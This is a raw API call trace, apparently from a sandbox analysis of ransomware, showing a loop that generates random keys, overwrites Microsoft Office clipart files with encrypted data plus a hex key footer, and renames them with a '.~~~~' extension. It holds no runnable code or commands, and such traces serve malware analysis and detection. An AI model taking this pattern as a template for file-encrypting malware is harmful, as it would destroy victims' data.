	[0116.165] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0116.165] GetLastError () returned 0x0
	[0116.165] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0116.167] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0116.167] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0116.167] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0116.167] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0116.167] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0116.167] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=23615750828) returned 1
	[0116.167] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xaebe4850, dwHighDateTime=0x1d60e1e)) 
	[0116.168] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0116.168] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0116.168] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0116.168] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3e8570
	[0116.168] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0116.168] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e8570 | out: hHeap=0x300000) returned 1
	[0116.168] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0116.168] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0116.168] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29f6a78
	[0116.168] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0116.168] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28b0dc0
	[0116.168] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f6a78 | out: hHeap=0x300000) returned 1
	[0116.168] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0116.169] GetLastError () returned 0x0
	[0116.169] GetLastError () returned 0x0
	[0116.169] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0116.169] GetLastError () returned 0x0
	[0116.169] GetLastError () returned 0x0
	[0116.248] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0xffff8a36, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0116.248] WriteFile (in: hFile=0x140, lpBuffer=0x28fd050*, nNumberOfBytesToWrite=0x75ca, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28fd050*, lpNumberOfBytesWritten=0x26dfec0*=0x75ca, lpOverlapped=0x0) returned 1
	[0116.251] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28fd050 | out: hHeap=0x300000) returned 1
	[0116.251] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0116.251] WriteFile (in: hFile=0x140, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0116.251] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0116.251] WriteFile (in: hFile=0x140, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0116.252] CloseHandle (hObject=0x140) returned 1
	[0116.252] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x29f6928
	[0116.252] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01563_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01563_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01563_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01563_.wmf.~~~~")) returned 1
	[0116.253] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f6928 | out: hHeap=0x300000) returned 1
	[0116.253] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0116.253] GetLastError () returned 0x0
	[0116.254] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0116.255] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0116.255] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0116.255] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0116.255] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0116.255] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0116.255] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=23624562218) returned 1
	[0116.256] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xaec7cdd0, dwHighDateTime=0x1d60e1e)) 
	[0116.256] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0116.256] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0116.256] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0116.256] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3e8650
	[0116.256] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0116.256] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e8650 | out: hHeap=0x300000) returned 1
	[0116.256] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0116.256] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0116.256] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29f6928
	[0116.256] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0116.256] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28b10b8
	[0116.256] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f6928 | out: hHeap=0x300000) returned 1
	[0116.256] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0116.257] GetLastError () returned 0x0
	[0116.257] GetLastError () returned 0x0
	[0116.257] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0116.257] GetLastError () returned 0x0
	[0116.257] GetLastError () returned 0x0
	[0116.741] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0xffff575a, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0116.741] WriteFile (in: hFile=0x140, lpBuffer=0x28fd050*, nNumberOfBytesToWrite=0xa8a6, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28fd050*, lpNumberOfBytesWritten=0x26dfec0*=0xa8a6, lpOverlapped=0x0) returned 1
	[0116.743] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28fd050 | out: hHeap=0x300000) returned 1
	[0116.743] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0116.743] WriteFile (in: hFile=0x140, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0116.743] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0116.743] WriteFile (in: hFile=0x140, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0116.743] CloseHandle (hObject=0x140) returned 1
	[0116.743] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x29f6880
	[0116.743] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01575_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01575_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01575_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01575_.wmf.~~~~")) returned 1
	[0116.745] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f6880 | out: hHeap=0x300000) returned 1
	[0116.745] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0116.745] GetLastError () returned 0x0
	[0116.746] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0116.747] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0116.747] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0116.747] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0116.747] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0116.748] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0116.748] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=23673769589) returned 1
	[0116.748] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xaf13f9d0, dwHighDateTime=0x1d60e1e)) 
	[0116.748] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0116.748] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0116.748] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0116.748] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3e87a0
	[0116.748] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0116.748] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e87a0 | out: hHeap=0x300000) returned 1
	[0116.748] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0116.748] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0116.748] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29f6880
	[0116.748] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0116.749] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28b1318
	[0116.749] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f6880 | out: hHeap=0x300000) returned 1
	[0116.749] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0116.749] GetLastError () returned 0x0
	[0116.749] GetLastError () returned 0x0
	[0116.749] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0116.749] GetLastError () returned 0x0
	[0116.750] GetLastError () returned 0x0
	[0116.752] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0xffffe2ec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0116.752] WriteFile (in: hFile=0x140, lpBuffer=0x28e4048*, nNumberOfBytesToWrite=0x1d14, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e4048*, lpNumberOfBytesWritten=0x26dfec0*=0x1d14, lpOverlapped=0x0) returned 1
	[0116.754] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e4048 | out: hHeap=0x300000) returned 1
	[0116.754] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0116.754] WriteFile (in: hFile=0x140, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0116.755] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0116.755] WriteFile (in: hFile=0x140, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0116.755] CloseHandle (hObject=0x140) returned 1
	[0116.755] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x29f6880
	[0116.755] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02009_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02009_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02009_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02009_.wmf.~~~~")) returned 1
	[0116.757] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f6880 | out: hHeap=0x300000) returned 1
	[0116.757] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0116.757] GetLastError () returned 0x0
	[0116.757] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0116.758] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0116.758] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0116.758] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0116.758] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0116.759] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0116.759] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=23674874937) returned 1
	[0116.759] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xaf165b30, dwHighDateTime=0x1d60e1e)) 
	[0116.759] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0116.759] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0116.759] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0116.759] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3e87d8
	[0116.759] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0116.759] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e87d8 | out: hHeap=0x300000) returned 1
	[0116.760] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0116.760] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0116.760] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29f6880
	[0116.760] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0116.760] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28b16a8
	[0116.760] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f6880 | out: hHeap=0x300000) returned 1
	[0116.760] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0116.760] GetLastError () returned 0x0
	[0116.760] GetLastError () returned 0x0
	[0116.760] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0116.760] GetLastError () returned 0x0
	[0116.761] GetLastError () returned 0x0
	[0116.772] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0xffffe298, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0116.772] WriteFile (in: hFile=0x140, lpBuffer=0x28e4048*, nNumberOfBytesToWrite=0x1d68, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e4048*, lpNumberOfBytesWritten=0x26dfec0*=0x1d68, lpOverlapped=0x0) returned 1
	[0116.773] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e4048 | out: hHeap=0x300000) returned 1
	[0116.773] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0116.773] WriteFile (in: hFile=0x140, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0116.773] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0116.773] WriteFile (in: hFile=0x140, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0116.773] CloseHandle (hObject=0x140) returned 1
	[0116.773] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x29f6bc8
	[0116.773] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02022_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02022_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02022_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02022_.wmf.~~~~")) returned 1
	[0116.774] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f6bc8 | out: hHeap=0x300000) returned 1
	[0116.774] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0116.774] GetLastError () returned 0x0
	[0116.775] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0116.776] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0116.776] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0116.776] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0116.776] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0116.776] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0116.776] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=23676638213) returned 1
	[0116.776] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xaf18bc90, dwHighDateTime=0x1d60e1e)) 
	[0116.776] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0116.776] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0116.776] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0116.777] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3e8810
	[0116.777] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0116.777] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e8810 | out: hHeap=0x300000) returned 1
	[0116.777] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0116.777] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0116.777] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29f6bc8
	[0116.777] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0116.777] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28b1740
	[0116.777] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f6bc8 | out: hHeap=0x300000) returned 1
	[0116.777] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0116.777] GetLastError () returned 0x0
	[0116.777] GetLastError () returned 0x0
	[0116.778] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0116.778] GetLastError () returned 0x0
	[0116.778] GetLastError () returned 0x0
	[0116.783] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0xffffdc58, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0116.783] WriteFile (in: hFile=0x140, lpBuffer=0x28e4048*, nNumberOfBytesToWrite=0x23a8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e4048*, lpNumberOfBytesWritten=0x26dfec0*=0x23a8, lpOverlapped=0x0) returned 1
	[0116.784] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e4048 | out: hHeap=0x300000) returned 1
	[0116.784] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0116.784] WriteFile (in: hFile=0x140, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0116.785] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0116.785] WriteFile (in: hFile=0x140, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0116.785] CloseHandle (hObject=0x140) returned 1
	[0116.785] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x29f6bc8
